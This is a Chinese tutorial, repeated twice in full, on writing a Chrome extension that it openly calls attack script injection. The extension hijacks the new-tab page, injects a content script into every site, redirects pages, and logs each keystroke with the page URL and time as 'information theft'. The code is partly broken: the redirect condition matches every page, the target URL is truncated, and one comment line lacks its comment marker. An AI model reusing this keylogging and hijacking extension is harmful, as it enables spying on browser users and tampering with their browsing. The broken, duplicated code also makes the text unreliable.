浏览器插件 实现简单的网页拦截、信息窃取的脚本注入
一、配置插件:manifest.json
1、基础配置
"manifest_version":2,
"name":"myPlugin",
"version":"1.0.1",
"description":"第一个浏览器插件",
"icons":{
"16":"img/vip_80px.png",
"48":"img/vip_80px.png",
"128":"img/vip_80px.png"
},
manifest_version:插件版本,必须是2
name:插件名字
version:插件版本
description:插件描述
icons:插件图标
效果如下:
2、加载插件的入口动作
"browser_action":{
"default_icon":"img/vip_80px.png",
"default_popup":"popup.html",
"default_title":"插件"
},
default_popup:插件使用弹窗
效果如下:
3、主页篡改:拦截浏览器的新页面
"chrome_url_overrides":{
"newtab":"index.html"
},
加载自己写的index.html界面
效果如下:
4、 插件配置方案,注入攻击脚本
"content_scripts":[
{
"matches":["<all_urls>"],//所有网站
"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
"run_at":"document_start"
}
]
matches:注入及匹配范围,设定脚本的有效范围网站
js:注入js脚本
run_at:注入时机,start/end/idle
二、编写脚本:content_script.js
1、监听页面加载完成后的动作,预判页面能否正常运行
document.addEventListener("DOMContentLoaded", function(){
console.log("页面加载完成,继续进行脚本注入")
})
效果如下:
2、网页拦截:举例百度
if (location.href.indexOf("")!=-1){
location.href = "http://www.163";
}
用户输入百度网址,实际跳转163网站
效果如下:
3、信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息
$(document).keydown(function(event){
var fromUrl = location.href;
var inputkeycode = event.keyCode;
var inputTime = new Date().getTime();
console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})
location.href:定位网页
event.keyCode:获取输入内容
效果如下:
三、完整代码
manifest.json:
{
//插件版本清单,必须是2
"manifest_version":2,
//插件名
"name":"myPlugin",
//插件版本
"version":"1.0.1",
"description":"第一个浏览器插件",
//插件的图标:3个尺寸,png
"icons":{
"16":"img/vip_80px.png",
"48":"img/vip_80px.png",
"128":"img/vip_80px.png"
},
//加载插件的入口动作
"browser_action":{
"default_icon":"img/vip_80px.png",
"default_popup":"popup.html",
"default_title":"插件"
},
//主页篡改
//拦截浏览器的新页面
"chrome_url_overrides":{
"newtab":"index.html"
},
//注入攻击脚本——自动化SQL注入、窃取、广告等等
"content_scripts":[
//配置方案
{
//注入及匹配范围,设定脚本的有效范围是哪些网站
"matches":["<all_urls>"],//所有网站
//注入js脚本
"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
//注入时机:document_start/document_end/document_idle
"run_at":"document_start"
}
]
}
index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
</head>
<body>
<div>网页丢失啦</div>
</body>
</html>
popup.html:
popup.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<div style="width: 200px;height: 200px;">这是一个弹窗</div>
</body>
</html>
content_script.js:
//监听页面加载完成后的动作,预判页面能否正常运行
//页面的DOM已加载完成后,就执行下列操作
document.addEventListener("DOMContentLoaded", function(){
console.log("页面加载完成,继续进行脚本注入")
})
网页拦截:拦截百度
if (location.href.indexOf("")!=-1){
location.href = "http://www.163";
}
//信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息
$(document).keydown(function(event){
var fromUrl = location.href; //定位网页
var inputkeycode = event.keyCode; //获取键盘输入内容
var inputTime = new Date().getTime(); //获取输入时间
console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})
浏览器插件 实现简单的网页拦截、信息窃取的脚本注入
一、配置插件:manifest.json
1、基础配置
"manifest_version":2,
"name":"myPlugin",
"version":"1.0.1",
"description":"第一个浏览器插件",
"icons":{
"16":"img/vip_80px.png",
"48":"img/vip_80px.png",
"128":"img/vip_80px.png"
},
manifest_version:插件版本,必须是2
name:插件名字
version:插件版本
description:插件描述
icons:插件图标
效果如下:
2、加载插件的入口动作
"browser_action":{
"default_icon":"img/vip_80px.png",
"default_popup":"popup.html",
"default_title":"插件"
},
default_popup:插件使用弹窗
效果如下:
3、主页篡改:拦截浏览器的新页面
"chrome_url_overrides":{
"newtab":"index.html"
},
加载自己写的index.html界面
效果如下:
4、 插件配置方案,注入攻击脚本
"content_scripts":[
{
"matches":["<all_urls>"],//所有网站
"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
"run_at":"document_start"
}
]
matches:注入及匹配范围,设定脚本的有效范围网站
js:注入js脚本
run_at:注入时机,start/end/idle
二、编写脚本:content_script.js
1、监听页面加载完成后的动作,预判页面能否正常运行
document.addEventListener("DOMContentLoaded", function(){
console.log("页面加载完成,继续进行脚本注入")
})
效果如下:
2、网页拦截:举例百度
if (location.href.indexOf("")!=-1){
location.href = "http://www.163";
}
用户输入百度网址,实际跳转163网站
效果如下:
3、信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息
$(document).keydown(function(event){
var fromUrl = location.href;
var inputkeycode = event.keyCode;
var inputTime = new Date().getTime();
console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})
location.href:定位网页
event.keyCode:获取输入内容
效果如下:
三、完整代码
manifest.json:
{
//插件版本清单,必须是2
"manifest_version":2,
//插件名
"name":"myPlugin",
//插件版本
"version":"1.0.1",
"description":"第一个浏览器插件",
//插件的图标:3个尺寸,png
"icons":{
"16":"img/vip_80px.png",
"48":"img/vip_80px.png",
"128":"img/vip_80px.png"
},
//加载插件的入口动作
"browser_action":{
"default_icon":"img/vip_80px.png",
"default_popup":"popup.html",
"default_title":"插件"
},
//主页篡改
//拦截浏览器的新页面
"chrome_url_overrides":{
"newtab":"index.html"
},
//注入攻击脚本——自动化SQL注入、窃取、广告等等
"content_scripts":[
//配置方案
{
//注入及匹配范围,设定脚本的有效范围是哪些网站
"matches":["<all_urls>"],//所有网站
//注入js脚本
"js":["js/jquery-3.4.1.min.js","js/content_script.js"],
//注入时机:document_start/document_end/document_idle
"run_at":"document_start"
}
]
}
index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
</head>
<body>
<div>网页丢失啦</div>
</body>
</html>
popup.html:
popup.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<div style="width: 200px;height: 200px;">这是一个弹窗</div>
</body>
</html>
content_script.js:
//监听页面加载完成后的动作,预判页面能否正常运行
//页面的DOM已加载完成后,就执行下列操作
document.addEventListener("DOMContentLoaded", function(){
console.log("页面加载完成,继续进行脚本注入")
})
网页拦截:拦截百度
if (location.href.indexOf("")!=-1){
location.href = "http://www.163";
}
//信息窃取:当有键盘事件在网页上的时候,获取到用户输入的信息
$(document).keydown(function(event){
var fromUrl = location.href; //定位网页
var inputkeycode = event.keyCode; //获取键盘输入内容
var inputTime = new Date().getTime(); //获取输入时间
console.log(fromUrl+":"+inputkeycode+":"+inputTime)
})